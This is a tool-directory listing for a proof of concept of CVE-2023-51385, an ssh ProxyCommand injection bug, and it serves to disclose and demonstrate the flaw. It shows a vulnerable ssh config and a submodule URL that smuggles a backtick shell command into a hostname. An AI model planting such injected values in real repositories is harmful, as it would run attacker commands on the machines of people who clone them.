Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
poc-proxycommand-vulnerable — Proof of conept to exploit vulnerable proxycommand configurations on ssh clients (CVE-2023-51385) | Kitploit
Tools/GitHubGitHub/vin01/poc-proxycommand-vulnerable
Privilege EscalationVulnerability AnalysisExploitationLateral MovementCommand and ControlRemote Access Tool
GitHubvin01/poc-proxycommand-vulnerable

poc-proxycommand-vulnerable

Proof of conept to exploit vulnerable proxycommand configurations on ssh clients (CVE-2023-51385)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View RepositoryWebsite
50382 years agoReviewed by Kitploit

RCE via insecure ~/.ssh/config

Use of tokens like %h, %p in ProxyCommand is quite popular to use tunnels and connection proxying using SSH.

Vulnerable config

root@kitploit:~
host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Note: in my initial assessment I was under the impression that using '%h` (single quotes) would avoid this, but looks like that is still going to be vulnerable with something like:

root@kitploit:~
url = ssh://'`open -aCalculator`'foo.example.com/bar

Taken from: https://man.openbsd.org/ssh_config#ProxyCommand

What is in this repository

A submodule which would exploit this vulnerability to pop a calculator on OSX.

Try it out using:

git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

or

git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules

Download Tool